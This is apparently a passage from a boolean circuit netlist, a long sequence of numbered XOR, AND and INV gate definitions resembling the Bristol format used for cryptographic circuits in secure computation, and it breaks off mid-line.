29342 29298 XOR +2 1 34183 29298 29386 XOR +2 1 29394 29393 29390 AND +2 1 29390 29344 29385 XOR +2 1 29390 29392 29389 XOR +2 1 29391 29389 29388 AND +2 1 29388 29344 29387 XOR +2 1 29388 29400 29293 XOR +2 1 29293 29329 29289 XOR +2 1 34189 29289 29292 XOR +2 1 29388 29338 29290 XOR +2 1 34187 29289 29288 XOR +2 1 29385 29386 29384 AND +2 1 29384 29392 29383 XOR +2 1 29390 29384 29382 XOR +2 1 29384 29342 29297 XOR +2 1 29384 29401 29296 XOR +2 1 29296 29398 29291 XOR +2 1 29291 29292 29375 XOR +2 1 29392 29382 29381 AND +2 1 29381 29389 29379 XOR +2 1 29381 29399 29351 XOR +2 1 29351 29345 29373 XOR +2 1 34183 29351 29334 XOR +2 1 29334 29297 29380 XOR +2 1 29387 29379 29378 AND +2 1 29378 29347 29337 XOR +2 1 29337 29339 29377 XOR +2 1 29378 29402 29295 XOR +2 1 29334 29295 29287 XOR +2 1 29324 29287 29294 XOR +2 1 29291 29294 29376 XOR +2 1 29337 29290 29374 XOR +2 1 29287 29288 29372 XOR +2 1 29373 29410 29371 AND +2 1 29380 29409 29370 AND +2 1 29383 34182 29369 AND +2 1 29369 29371 29350 XOR +2 1 29374 29404 29368 AND +2 1 29377 29416 29367 AND +2 1 29367 29368 29353 XOR +2 1 29387 29406 29366 AND +2 1 29366 29367 29304 XOR +2 1 29375 29407 29365 AND +2 1 29372 29405 29364 AND +2 1 29364 29353 29343 XOR +2 1 29364 29367 29319 XOR +1 1 29319 29316 INV +2 1 29364 29365 29315 XOR +2 1 29365 29343 29303 XOR +2 1 29376 29408 29363 AND +2 1 29373 29414 29362 AND +2 1 29380 29411 29361 AND +2 1 29383 29415 29360 AND +2 1 29360 29343 29309 XOR +1 1 29309 29306 INV +2 1 29374 29419 29359 AND +2 1 29359 29363 29335 XOR +2 1 29368 29359 29320 XOR +1 1 29335 29313 INV +2 1 29377 29412 29358 AND +2 1 29366 29358 29322 XOR +2 1 29387 29413 29357 AND +2 1 29313 29357 29312 XOR +2 1 29312 29350 29308 XOR +2 1 29375 29418 29356 AND +2 1 29356 29308 29311 XOR +2 1 29372 29420 29355 AND +2 1 29355 29356 29349 XOR +2 1 29361 29349 29331 XOR +2 1 29362 29331 29332 XOR +2 1 29370 29332 29336 XOR +2 1 29371 29336 29341 XOR +2 1 29353 29341 36199 XOR +2 1 10203 36199 10025 XOR +1 1 10025 10023 INV +2 1 29322 29349 29318 XOR +2 1 29350 29318 29321 XOR +2 1 29320 29321 29424 XOR +2 1 29313 29318 29317 XOR +2 1 29316 29317 29423 XOR +2 1 29341 29315 29422 XOR +2 1 29331 29308 29307 XOR +2 1 29306 29307 36197 XOR +2 1 36197 36201 9945 XOR +2 1 10078 36197 10076 XOR +2 1 29369 29336 29305 XOR +2 1 29304 29305 36198 XOR +2 1 29332 29303 36200 XOR +2 1 36200 36216 10163 XOR +2 1 10163 36198 9903 XOR +1 1 10163 10059 INV +2 1 10059 33091 10088 XOR +2 1 9903 9904 10242 XOR +2 1 29376 29417 29354 AND +2 1 29365 29354 29314 XOR +1 1 29314 29310 INV +2 1 29310 29311 29421 XOR +2 1 36199 36203 10211 XOR +2 1 10227 10211 36089 XOR +2 1 10211 10210 10075 XOR +1 1 10075 10073 INV +2 1 10073 10074 36097 XOR +2 1 36097 1379 34306 XOR +2 1 36198 36202 10220 XOR +1 1 10220 10102 INV +2 1 10220 10078 10089 XOR +2 1 10089 10090 36088 XOR +2 1 36088 1388 34297 XOR +2 1 10102 10207 10100 XOR +2 1 10023 10024 36074 XOR +2 1 36074 1402 34283 XOR +2 1 36089 1387 34298 XOR +2 1 10211 10203 10099 XOR +2 1 33121 33128 9265 XOR +2 1 9264 9265 35922 XOR +2 1 35922 1481 34204 XOR +2 1 34202 34204 23729 XOR +2 1 34204 23728 23810 XOR +2 1 23821 23810 23800 AND +2 1 23800 23728 23730 XOR +2 1 10059 36202 10058 XOR +2 1 33166 33128 9407 XOR +2 1 9407 32815 9268 XOR +1 1 9268 9266 INV +2 1 9407 9401 9275 XOR +2 1 33179 9275 35914 XOR +2 1 35914 1489 34196 XOR +2 1 34194 34196 25406 XOR +2 1 25406 25404 25366 XOR +2 1 25403 25366 25488 XOR +2 1 25406 34195 25365 XOR +2 1 34190 25365 25495 XOR +2 1 25495 34190 25481 AND +2 1 25497 25488 25475 AND +2 1 25475 25481 25432 XOR +2 1 25432 25404 25419 XOR +2 1 25483 25406 25409 XOR +2 1 34190 34196 25410 XOR +2 1 34195 25410 25496 XOR +2 1 34191 25496 25492 XOR +2 1 25496 25492 25479 AND +2 1 25404 25410 25493 XOR +2 1 25420 25493 25491 XOR +2 1 25491 25489 25482 AND +2 1 25410 25405 25486 XOR +2 1 25493 25486 25478 AND +2 1 25475 25478 25428 XOR +2 1 25408 25428 25382 XOR +2 1 34196 25405 25487 XOR +2 1 25498 25487 25477 AND +2 1 25477 25405 25407 XOR +2 1 25409 25407 25413 XOR +2 1 34197 25413 25418 XOR +2 1 25382 25407 25472 XOR +2 1 25413 25432 25381 XOR +2 1 34195 25381 25424 XOR +2 1 9407 9403 9249 XOR +2 1 33178 9249 35929 XOR +2 1 35929 1474 34211 XOR +2 1 34211 34213 26384 XOR +2 1 26386 26384 26346 XOR +2 1 26383 26346 26468 XOR +2 1 26384 26390 26473 XOR +2 1 26386 34211 26345 XOR +2 1 34206 26345 26475 XOR +2 1 26475 34206 26461 AND +2 1 34211 26390 26476 XOR +2 1 34207 26476 26472 XOR +2 1 26476 26472 26459 AND +2 1 36200 36206 10156 XOR +2 1 10200 10156 10069 XOR +2 1 10156 36198 9944 XOR +2 1 9944 9945 10225 XOR +2 1 10225 10210 36080 XOR +2 1 36080 1396 34289 XOR +1 1 10156 10247 INV +2 1 10247 33117 9942 XOR +2 1 10247 36216 10080 XOR +2 1 10080 10081 36092 XOR +2 1 36092 1384 34301 XOR +2 1 34298 34301 25918 XOR +2 1 10247 36199 10101 XOR +2 1 10100 10101 36081 XOR +2 1 36081 1395 34290 XOR +2 1 34198 34204 23733 XOR +2 1 23733 23728 23809 XOR +2 1 10076 10077 36095 XOR +2 1 36095 1381 34304 XOR +2 1 34304 34306 26200 XOR +2 1 36197 36212 10198 XOR +2 1 10198 10197 10092 XOR +2 1 36201 10092 36087 XOR +2 1 36087 1389 34296 XOR +2 1 34297 34296 25800 XOR +2 1 34296 34298 25920 XOR +1 1 10198 10060 INV +2 1 10060 33124 10129 XOR +2 1 10210 10060 10057 XOR +2 1 10057 10058 36072 XOR +2 1 36072 1404 34281 XOR +2 1 34301 34296 25917 XOR +2 1 10196 10163 10148 XOR +2 1 33092 10148 36069 XOR +2 1 36069 1407 34278 XOR +2 1 10223 10220 36096 XOR +2 1 9266 9267 35921 XOR +2 1 35921 1482 34203 XOR +2 1 34203 23728 23807 XOR +2 1 23729 34203 23688 XOR +2 1 34198 23688 23818 XOR +2 1 34203 23733 23819 XOR +2 1 23818 34198 23804 AND +2 1 23822 23807 23803 AND +2 1 34203 34205 23727 XOR +2 1 23727 23823 23808 XOR +2 1 23803 23727 23731 XOR +2 1 23727 23733 23816 XOR +2 1 23816 23809 23801 AND +2 1 23729 23727 23689 XOR +2 1 23726 23689 23811 XOR +2 1 23820 23811 23798 AND +2 1 23823 23808 23799 AND +2 1 23799 23800 23702 XOR +2 1 23702 23703 23749 XOR +2 1 23749 23731 23748 XOR +2 1 23743 23816 23814 XOR +2 1 23814 23812 23805 AND +2 1 23799 23805 23750 XOR +2 1 34199 23819 23815 XOR +2 1 23819 23815 23802 AND +2 1 23802 23748 23796 XOR +2 1 23798 23801 23751 XOR +2 1 23799 23751 23745 XOR +2 1 23802 23745 23701 XOR +2 1 34199 23701 23789 XOR +2 1 23731 23751 23705 XOR +2 1 23705 23730 23795 XOR +2 1 23798 23804 23755 XOR +2 1 23755 23727 23742 XOR +2 1 23750 23742 23794 XOR +1 1 29422 33149 INV +2 1 10248 33149 9986 XOR +2 1 9986 9987 36076 XOR +2 1 36076 1400 34285 XOR +2 1 34283 34285 10288 XOR +2 1 33149 36205 10206 XOR +2 1 10206 10203 10070 XOR +2 1 32826 10070 36099 XOR +2 1 10206 10155 10097 XOR +2 1 36099 1377 34308 XOR +2 1 34306 34308 26106 XOR +2 1 36200 10097 36084 XOR +2 1 36084 1392 34293 XOR +2 1 34290 34293 25358 XOR +2 1 10206 26622 10082 XOR +2 1 10082 10083 36091 XOR +2 1 36091 1385 34300 XOR +2 1 34298 34300 25826 XOR +1 1 29423 33150 INV +2 1 33150 32827 9947 XOR +2 1 9946 9947 10224 XOR +2 1 10224 10197 36094 XOR +2 1 36094 1382 34303 XOR +2 1 34303 34304 26120 XOR +2 1 33150 9950 10130 XOR +2 1 10129 10130 36079 XOR +2 1 36079 1397 34288 XOR +2 1 34288 34290 25360 XOR +2 1 34293 34288 25357 XOR +2 1 34289 34288 25240 XOR +2 1 33150 33091 10218 XOR +2 1 10218 10196 10094 XOR +2 1 10094 10095 10093 XOR +1 1 10093 36086 INV +2 1 36086 1390 34295 XOR +2 1 34295 34297 25823 XOR +2 1 34301 34295 25919 XOR +2 1 10218 10195 10071 XOR +2 1 36212 10071 36071 XOR +2 1 36071 1405 34280 XOR +2 1 34285 34280 10381 XOR +2 1 34281 34280 10264 XOR +2 1 25823 25918 25910 XOR +2 1 34296 25823 25825 XOR +2 1 34300 25825 25907 XOR +2 1 25918 25907 25897 AND +2 1 25897 25825 25827 XOR +2 1 34295 34296 25840 XOR +2 1 25918 25840 25914 XOR +1 1 29424 33151 INV +2 1 9897 33151 9943 XOR +2 1 33151 10079 36093 XOR +2 1 36093 1383 34302 XOR +2 1 34302 34308 26110 XOR +2 1 9942 9943 10226 XOR +2 1 10226 10218 36078 XOR +2 1 36078 1398 34287 XOR +2 1 34293 34287 25359 XOR +2 1 34287 34288 25280 XOR +2 1 25358 25280 25354 XOR +2 1 34287 34289 25263 XOR +2 1 34288 25263 25265 XOR +2 1 25263 25358 25350 XOR +2 1 25350 25354 25343 AND +2 1 33151 33092 10219 XOR +2 1 10219 10157 10096 XOR +2 1 33117 10096 36085 XOR +2 1 36085 1391 34294 XOR +2 1 10219 10197 10087 XOR +2 1 10087 10088 10086 XOR +1 1 10086 36070 INV +2 1 36070 1406 34279 XOR +2 1 34279 34281 10287 XOR +2 1 34279 34280 10304 XOR +2 1 34285 34279 10383 XOR +2 1 34294 25910 25909 XOR +2 1 34294 34300 25830 XOR +2 1 25830 25825 25906 XOR +2 1 10219 10156 9970 XOR +2 1 32827 9970 36077 XOR +2 1 36077 1399 34286 XOR +2 1 34286 25350 25349 XOR +1 1 29421 33156 INV +2 1 10200 33156 10006 XOR +2 1 10006 10007 10005 XOR +2 1 33156 36204 10208 XOR +2 1 10208 10207 10072 XOR +2 1 10208 33090 10084 XOR +2 1 10084 10085 36090 XOR +2 1 32825 10072 36098 XOR +2 1 36098 1378 34307 XOR +2 1 26106 34307 26065 XOR +2 1 34302 26065 26195 XOR +2 1 26195 34302 26181 AND +2 1 34307 26110 26196 XOR +2 1 34303 26196 26192 XOR +2 1 26196 26192 26179 AND +2 1 36090 1386 34299 XOR +2 1 34299 25825 25904 XOR +2 1 25919 25904 25900 AND +2 1 34299 25830 25916 XOR +2 1 10208 10200 10098 XOR +2 1 33149 10098 36083 XOR +2 1 36083 1393 34292 XOR +2 1 34286 34292 25270 XOR +2 1 25270 25265 25346 XOR +2 1 34292 25265 25347 XOR +2 1 25358 25347 25337 AND +2 1 25337 25265 25267 XOR +2 1 25826 34299 25785 XOR +2 1 34294 25785 25915 XOR +2 1 25915 34294 25901 AND +2 1 34299 34301 25824 XOR +2 1 25824 25830 25913 XOR +2 1 25913 25906 25898 AND +2 1 25826 25824 25786 XOR +2 1 25823 25786 25908 XOR +2 1 25917 25908 25895 AND +2 1 25895 25898 25848 XOR +2 1 25840 25913 25911 XOR +2 1 25895 25901 25852 XOR +2 1 25852 25824 25839 XOR +2 1 33156 10099 36082 XOR +2 1 36082 1394 34291 XOR +2 1 34291 25270 25356 XOR +2 1 34291 34293 25264 XOR +2 1 25264 25270 25353 XOR +2 1 25264 25360 25345 XOR +2 1 25360 25345 25336 AND +2 1 25336 25337 25239 XOR +2 1 25239 25240 25286 XOR +2 1 25353 25346 25338 AND +2 1 25280 25353 25351 XOR +2 1 25351 25349 25342 AND +2 1 34287 25356 25352 XOR +2 1 25356 25352 25339 AND +2 1 25900 25824 25828 XOR +2 1 25828 25848 25802 XOR +2 1 25802 25827 25892 XOR +1 1 10005 36075 INV +2 1 36075 1401 34284 XOR +2 1 25336 25342 25287 XOR +2 1 34295 25916 25912 XOR +2 1 25916 25912 25899 AND +2 1 34291 25265 25344 XOR +2 1 25359 25344 25340 AND +2 1 25340 25264 25268 XOR +2 1 25286 25268 25285 XOR +2 1 34278 34284 10294 XOR +2 1 10288 10294 10377 XOR +2 1 34283 10294 10380 XOR +2 1 10304 10377 10375 XOR +2 1 25824 25920 25905 XOR +2 1 25920 25905 25896 AND +2 1 25896 25848 25842 XOR +2 1 25899 25842 25798 XOR +2 1 34295 25798 25886 XOR +2 1 34279 10380 10376 XOR +2 1 10380 10376 10363 AND +2 1 25911 25909 25902 AND +2 1 25896 25902 25847 XOR +2 1 25847 25839 25891 XOR +2 1 36096 1380 34305 XOR +2 1 34303 34305 26103 XOR +2 1 34304 26103 26105 XOR +2 1 26110 26105 26186 XOR +2 1 34307 26105 26184 XOR +2 1 34308 26105 26187 XOR +2 1 34305 34304 26080 XOR +2 1 36025 9259 35926 XOR +2 1 35926 1477 34208 XOR +2 1 34208 26383 26385 XOR +2 1 34212 26385 26467 XOR +2 1 34211 26385 26464 XOR +2 1 26390 26385 26466 XOR +2 1 26479 26464 26460 AND +2 1 26478 26467 26457 AND +2 1 26473 26466 26458 AND +2 1 26457 26385 26387 XOR +2 1 34213 34208 26477 XOR +2 1 26477 26468 26455 AND +2 1 26455 26458 26408 XOR +2 1 26460 26384 26388 XOR +2 1 26455 26461 26412 XOR +2 1 26412 26384 26399 XOR +2 1 34207 34208 26400 XOR +2 1 26400 26473 26471 XOR +2 1 26471 26469 26462 AND +2 1 26478 26400 26474 XOR +2 1 26470 26474 26463 AND +2 1 26463 26386 26389 XOR +2 1 26389 26387 26393 XOR +2 1 34213 26393 26398 XOR +2 1 26393 26412 26361 XOR +2 1 34211 26361 26404 XOR +2 1 34209 34208 26360 XOR +2 1 34208 34210 26480 XOR +2 1 26384 26480 26465 XOR +2 1 26480 26465 26456 AND +2 1 26456 26408 26402 XOR +2 1 26459 26402 26358 XOR +2 1 26456 26457 26359 XOR +2 1 26359 26360 26406 XOR +2 1 26406 26388 26405 XOR +2 1 26459 26405 26453 XOR +2 1 34207 26358 26446 XOR +2 1 26456 26462 26407 XOR +2 1 26407 26399 26451 XOR +2 1 26407 26398 26454 XOR +2 1 26454 26453 26450 AND +2 1 26450 26404 26445 XOR +2 1 26445 26446 26444 AND +2 1 26444 26461 26356 XOR +2 1 26450 26444 26442 XOR +2 1 26356 26458 26351 XOR +2 1 26444 26402 26357 XOR +2 1 26388 26408 26362 XOR +2 1 26362 26387 26452 XOR +2 1 26452 26442 26441 AND +2 1 26444 26452 26443 XOR +2 1 26443 26475 26420 AND +2 1 26443 34206 26429 AND +2 1 26450 26452 26449 XOR +2 1 26441 26449 26439 XOR +2 1 26451 26449 26448 AND +2 1 26448 26404 26447 XOR +2 1 26447 26473 26417 AND +2 1 26447 26439 26438 AND +2 1 26438 26462 26355 XOR +2 1 26448 26398 26350 XOR +2 1 26447 26466 26426 AND +2 1 26448 26460 26353 XOR +2 1 26441 26459 26411 XOR +2 1 26411 26405 26433 XOR +2 1 26433 26470 26431 AND +2 1 26433 26474 26422 AND +2 1 26429 26431 26410 XOR +2 1 34207 26411 26394 XOR +2 1 26394 26355 26347 XOR +2 1 26384 26347 26354 XOR +2 1 26351 26354 26436 XOR +2 1 26436 26468 26423 AND +2 1 26436 26477 26414 AND +2 1 26353 26389 26349 XOR +2 1 34211 26349 26348 XOR +2 1 26347 26348 26432 XOR +2 1 26432 26465 26424 AND +2 1 34213 26349 26352 XOR +2 1 26432 26480 26415 AND +2 1 26438 26407 26397 XOR +2 1 26397 26399 26437 XOR +2 1 26437 26472 26418 AND +2 1 26426 26418 26382 XOR +2 1 26397 26350 26434 XOR +2 1 26434 26479 26419 AND +2 1 26434 26464 26428 AND +2 1 26428 26419 26380 XOR +2 1 26437 26476 26427 AND +2 1 26424 26427 26379 XOR +1 1 26379 26376 INV +2 1 26427 26428 26413 XOR +2 1 26424 26413 26403 XOR +2 1 26419 26423 26395 XOR +1 1 26395 26373 INV +2 1 26373 26417 26372 XOR +2 1 26372 26410 26368 XOR +2 1 26426 26427 26364 XOR +2 1 26394 26357 26440 XOR +2 1 26440 26471 26421 AND +2 1 26420 26403 26369 XOR +1 1 26369 26366 INV +2 1 26351 26352 26435 XOR +2 1 26435 26467 26425 AND +2 1 26425 26414 26374 XOR +1 1 26374 26370 INV +2 1 26424 26425 26375 XOR +2 1 26425 26403 26363 XOR +2 1 26435 26478 26416 AND +2 1 26416 26368 26371 XOR +2 1 26370 26371 26481 XOR +2 1 26415 26416 26409 XOR +2 1 26421 26409 26391 XOR +2 1 26391 26368 26367 XOR +2 1 26366 26367 36230 XOR +2 1 26382 26409 26378 XOR +2 1 26422 26391 26392 XOR +2 1 26392 26363 36233 XOR +2 1 36220 36233 10162 XOR +1 1 10162 9907 INV +2 1 26410 26378 26381 XOR +2 1 26380 26381 26484 XOR +2 1 26373 26378 26377 XOR +2 1 26376 26377 26483 XOR +2 1 9907 36230 9908 XOR +1 1 26481 33085 INV +2 1 33085 32824 10063 XOR +1 1 26483 33087 INV +1 1 26484 33088 INV +2 1 9907 33088 9905 XOR +2 1 26440 26469 26430 AND +2 1 26430 26392 26396 XOR +2 1 26429 26396 26365 XOR +2 1 26431 26396 26401 XOR +2 1 26364 26365 36231 XOR +2 1 26413 26401 36232 XOR +2 1 26401 26375 26482 XOR +2 1 10162 36231 9911 XOR +1 1 26482 33086 INV +2 1 32818 33086 10171 XOR +2 1 34280 10287 10289 XOR +2 1 10294 10289 10370 XOR +2 1 10377 10370 10362 AND +2 1 34283 10289 10368 XOR +2 1 10383 10368 10364 AND +2 1 34284 10289 10371 XOR +2 1 10364 10288 10292 XOR +2 1 25896 25897 25799 XOR +2 1 25799 25800 25846 XOR +2 1 25846 25828 25845 XOR +2 1 25899 25845 25893 XOR +2 1 10242 10207 36073 XOR +2 1 36073 1403 34282 XOR +2 1 34280 34282 10384 XOR +2 1 10288 10384 10369 XOR +2 1 10384 10369 10360 AND +2 1 34282 34284 10290 XOR +2 1 10290 10288 10250 XOR +2 1 10287 10250 10372 XOR +2 1 10381 10372 10359 AND +2 1 34282 34285 10382 XOR +2 1 10287 10382 10374 XOR +2 1 34278 10374 10373 XOR +2 1 10375 10373 10366 AND +2 1 10382 10371 10361 AND +2 1 10361 10289 10291 XOR +2 1 10360 10361 10263 XOR +2 1 10263 10264 10310 XOR +2 1 10310 10292 10309 XOR +2 1 10363 10309 10357 XOR +2 1 10382 10304 10378 XOR +2 1 10374 10378 10367 AND +2 1 10367 10290 10293 XOR +2 1 10293 10291 10297 XOR +2 1 34285 10297 10302 XOR +2 1 10360 10366 10311 XOR +2 1 10311 10302 10358 XOR +2 1 10358 10357 10354 AND +2 1 10359 10362 10312 XOR +2 1 10292 10312 10266 XOR +2 1 10266 10291 10356 XOR +2 1 10354 10356 10353 XOR +2 1 10360 10312 10306 XOR +2 1 10363 10306 10262 XOR +2 1 34279 10262 10350 XOR +2 1 10290 34283 10249 XOR +2 1 34278 10249 10379 XOR +2 1 10379 34278 10365 AND +2 1 10359 10365 10316 XOR +2 1 10297 10316 10265 XOR +2 1 34283 10265 10308 XOR +2 1 10354 10308 10349 XOR +2 1 10349 10350 10348 AND +2 1 10348 10356 10347 XOR +2 1 10347 10379 10324 AND +2 1 10348 10365 10260 XOR +2 1 10347 34278 10333 AND +2 1 10260 10362 10255 XOR +2 1 10348 10306 10261 XOR +2 1 10354 10348 10346 XOR +2 1 10356 10346 10345 AND +2 1 10345 10353 10343 XOR +2 1 10316 10288 10303 XOR +2 1 10311 10303 10355 XOR +2 1 10355 10353 10352 AND +2 1 10352 10308 10351 XOR +2 1 10352 10302 10254 XOR +2 1 10351 10370 10330 AND +2 1 10352 10364 10257 XOR +2 1 10257 10293 10253 XOR +2 1 34283 10253 10252 XOR +2 1 10351 10377 10321 AND +2 1 10351 10343 10342 AND +2 1 10342 10366 10259 XOR +2 1 34285 10253 10256 XOR +2 1 10255 10256 10339 XOR +2 1 10339 10382 10320 AND +2 1 10339 10371 10329 AND +2 1 10342 10311 10301 XOR +2 1 10301 10303 10341 XOR +2 1 10341 10380 10331 AND +2 1 10341 10376 10322 AND +2 1 10301 10254 10338 XOR +2 1 10338 10368 10332 AND +2 1 10330 10331 10268 XOR +2 1 10330 10322 10286 XOR +2 1 10338 10383 10323 AND +2 1 10332 10323 10284 XOR +2 1 10345 10363 10315 XOR +2 1 10315 10309 10337 XOR +2 1 10337 10374 10335 AND +2 1 10337 10378 10326 AND +2 1 10333 10335 10314 XOR +2 1 34279 10315 10298 XOR +2 1 10298 10261 10344 XOR +2 1 10344 10373 10334 AND +2 1 10344 10375 10325 AND +2 1 10298 10259 10251 XOR +2 1 10288 10251 10258 XOR +2 1 10251 10252 10336 XOR +2 1 10336 10369 10328 AND +2 1 10328 10331 10283 XOR +1 1 10283 10280 INV +2 1 10328 10329 10279 XOR +2 1 10336 10384 10319 AND +2 1 10255 10258 10340 XOR +2 1 10340 10381 10318 AND +2 1 10340 10372 10327 AND +2 1 10329 10318 10278 XOR +1 1 10278 10274 INV +2 1 10319 10320 10313 XOR +2 1 10325 10313 10295 XOR +2 1 10286 10313 10282 XOR +2 1 10314 10282 10285 XOR +2 1 10284 10285 10388 XOR +1 1 10388 32830 INV +2 1 10326 10295 10296 XOR +2 1 10323 10327 10299 XOR +1 1 10299 10277 INV +2 1 10277 10282 10281 XOR +2 1 10277 10321 10276 XOR +2 1 10276 10314 10272 XOR +2 1 10320 10272 10275 XOR +2 1 10274 10275 10385 XOR +2 1 10280 10281 10387 XOR +2 1 10295 10272 10271 XOR +1 1 10387 32829 INV +1 1 10385 32834 INV +2 1 10331 10332 10317 XOR +2 1 10328 10317 10307 XOR +2 1 10324 10307 10273 XOR +1 1 10273 10270 INV +2 1 10270 10271 36454 XOR +2 1 10329 10307 10267 XOR +2 1 10296 10267 36458 XOR +2 1 25339 25285 25333 XOR +2 1 10334 10296 10300 XOR +2 1 10335 10300 10305 XOR +2 1 10317 10305 36456 XOR +1 1 36456 11423 INV +2 1 10305 10279 10386 XOR +1 1 10386 36457 INV +2 1 10333 10300 10269 XOR +2 1 10268 10269 36455 XOR +2 1 10386 32834 11597 XOR +2 1 25910 25914 25903 AND +2 1 25903 25826 25829 XOR +2 1 25829 25827 25833 XOR +2 1 34301 25833 25838 XOR +2 1 25847 25838 25894 XOR +2 1 25894 25893 25890 AND +2 1 25890 25892 25889 XOR +2 1 25891 25889 25888 AND +2 1 25888 25900 25793 XOR +2 1 25888 25838 25790 XOR +2 1 25793 25829 25789 XOR +2 1 34299 25789 25788 XOR +2 1 34301 25789 25792 XOR +2 1 25833 25852 25801 XOR +2 1 34299 25801 25844 XOR +2 1 25888 25844 25887 XOR +2 1 25887 25906 25866 AND +2 1 25887 25913 25857 AND +2 1 25890 25844 25885 XOR +2 1 25885 25886 25884 AND +2 1 25890 25884 25882 XOR +2 1 25892 25882 25881 AND +2 1 25881 25899 25851 XOR +2 1 25884 25842 25797 XOR +2 1 34295 25851 25834 XOR +2 1 25881 25889 25879 XOR +2 1 25887 25879 25878 AND +2 1 25878 25847 25837 XOR +2 1 25837 25839 25877 XOR +2 1 25877 25912 25858 AND +2 1 25877 25916 25867 AND +2 1 25866 25858 25822 XOR +2 1 25851 25845 25873 XOR +2 1 25873 25910 25871 AND +2 1 25873 25914 25862 AND +2 1 25834 25797 25880 XOR +2 1 25880 25909 25870 AND +2 1 25880 25911 25861 AND +2 1 25837 25790 25874 XOR +2 1 25874 25919 25859 AND +2 1 25874 25904 25868 AND +2 1 25884 25901 25796 XOR +2 1 25868 25859 25820 XOR +2 1 25867 25868 25853 XOR +2 1 25884 25892 25883 XOR +2 1 25883 25915 25860 AND +2 1 25883 34294 25869 AND +2 1 25869 25871 25850 XOR +2 1 25796 25898 25791 XOR +2 1 25791 25792 25875 XOR +2 1 25875 25918 25856 AND +2 1 25875 25907 25865 AND +2 1 25878 25902 25795 XOR +2 1 25866 25867 25804 XOR +2 1 25834 25795 25787 XOR +2 1 25824 25787 25794 XOR +2 1 25791 25794 25876 XOR +2 1 25876 25917 25854 AND +2 1 25876 25908 25863 AND +2 1 25865 25854 25814 XOR +1 1 25814 25810 INV +2 1 25859 25863 25835 XOR +1 1 25835 25813 INV +2 1 25787 25788 25872 XOR +2 1 25872 25920 25855 AND +2 1 25855 25856 25849 XOR +2 1 25872 25905 25864 AND +2 1 25861 25849 25831 XOR +2 1 25864 25865 25815 XOR +2 1 25864 25853 25843 XOR +2 1 25865 25843 25803 XOR +2 1 25864 25867 25819 XOR +2 1 25822 25849 25818 XOR +2 1 25813 25818 25817 XOR +1 1 25819 25816 INV +2 1 25816 25817 25923 XOR +2 1 25813 25857 25812 XOR +2 1 25812 25850 25808 XOR +2 1 25831 25808 25807 XOR +2 1 25856 25808 25811 XOR +2 1 25810 25811 25921 XOR +2 1 25860 25843 25809 XOR +1 1 25809 25806 INV +2 1 25806 25807 36427 XOR +2 1 25862 25831 25832 XOR +2 1 25870 25832 25836 XOR +2 1 25871 25836 25841 XOR +2 1 25841 25815 25922 XOR +2 1 25832 25803 36430 XOR +2 1 25853 25841 36429 XOR +1 1 36429 11490 INV +2 1 25850 25818 25821 XOR +2 1 25820 25821 25924 XOR +1 1 25922 33069 INV +2 1 36430 33069 11485 XOR +1 1 25923 33070 INV +1 1 25924 33071 INV +1 1 25921 33076 INV +2 1 25869 25836 25805 XOR +2 1 25804 25805 36428 XOR +2 1 23821 23743 23817 XOR +2 1 23813 23817 23806 AND +2 1 23806 23729 23732 XOR +2 1 23732 23730 23736 XOR +2 1 34205 23736 23741 XOR +2 1 23736 23755 23704 XOR +2 1 34203 23704 23747 XOR +2 1 23750 23741 23797 XOR +2 1 23797 23796 23793 AND +2 1 23793 23747 23788 XOR +2 1 23793 23795 23792 XOR +2 1 23794 23792 23791 AND +2 1 23791 23747 23790 XOR +2 1 23790 23809 23769 AND +2 1 23791 23803 23696 XOR +2 1 23791 23741 23693 XOR +2 1 23696 23732 23692 XOR +2 1 23790 23816 23760 AND +2 1 34205 23692 23695 XOR +2 1 34203 23692 23691 XOR +2 1 23788 23789 23787 AND +2 1 23793 23787 23785 XOR +2 1 23787 23795 23786 XOR +2 1 23786 23818 23763 AND +2 1 23795 23785 23784 AND +2 1 23784 23792 23782 XOR +2 1 23784 23802 23754 XOR +2 1 23754 23748 23776 XOR +2 1 23776 23817 23765 AND +2 1 34199 23754 23737 XOR +2 1 23776 23813 23774 AND +2 1 23787 23745 23700 XOR +2 1 23737 23700 23783 XOR +2 1 23783 23814 23764 AND +2 1 23783 23812 23773 AND +2 1 23787 23804 23699 XOR +2 1 23699 23801 23694 XOR +2 1 23694 23695 23778 XOR +2 1 23778 23810 23768 AND +2 1 23778 23821 23759 AND +2 1 23790 23782 23781 AND +2 1 23781 23750 23740 XOR +2 1 23740 23742 23780 XOR +2 1 23740 23693 23777 XOR +2 1 23777 23822 23762 AND +2 1 23780 23815 23761 AND +2 1 23769 23761 23725 XOR +2 1 23777 23807 23771 AND +2 1 23781 23805 23698 XOR +2 1 23771 23762 23723 XOR +2 1 23737 23698 23690 XOR +2 1 23690 23691 23775 XOR +2 1 23775 23808 23767 AND +2 1 23767 23768 23718 XOR +2 1 23775 23823 23758 AND +2 1 23727 23690 23697 XOR +2 1 23694 23697 23779 XOR +2 1 23779 23811 23766 AND +2 1 23762 23766 23738 XOR +2 1 23779 23820 23757 AND +2 1 23768 23757 23717 XOR +1 1 23738 23716 INV +1 1 23717 23713 INV +2 1 23716 23760 23715 XOR +2 1 23786 34198 23772 AND +2 1 23772 23774 23753 XOR +2 1 23715 23753 23711 XOR +2 1 23759 23711 23714 XOR +2 1 23713 23714 23824 XOR +2 1 23780 23819 23770 AND +2 1 23767 23770 23722 XOR +1 1 23722 23719 INV +2 1 23769 23770 23707 XOR +2 1 23770 23771 23756 XOR +2 1 23767 23756 23746 XOR +2 1 23763 23746 23712 XOR +1 1 23712 23709 INV +2 1 23768 23746 23706 XOR +2 1 23758 23759 23752 XOR +2 1 23725 23752 23721 XOR +2 1 23753 23721 23724 XOR +2 1 23723 23724 23827 XOR +2 1 23716 23721 23720 XOR +2 1 23719 23720 23826 XOR +1 1 23826 33033 INV +1 1 23827 33034 INV +2 1 33034 32823 10213 XOR +2 1 10213 10159 10014 XOR +1 1 23824 33039 INV +2 1 33039 32828 10176 XOR +2 1 10176 36251 10010 XOR +1 1 10010 10008 INV +2 1 33033 32822 10205 XOR +2 1 23764 23752 23734 XOR +2 1 23765 23734 23735 XOR +2 1 23735 23706 36248 XOR +2 1 23734 23711 23710 XOR +2 1 23709 23710 36245 XOR +2 1 36245 36249 10201 XOR +1 1 10201 10013 INV +2 1 23773 23735 23739 XOR +2 1 23774 23739 23744 XOR +2 1 23772 23739 23708 XOR +2 1 23707 23708 36246 XOR +2 1 23744 23718 23825 XOR +2 1 36248 36252 10151 XOR +2 1 10151 32821 10000 XOR +1 1 10151 9964 INV +2 1 36246 36250 10191 XOR +2 1 23756 23744 36247 XOR +2 1 36247 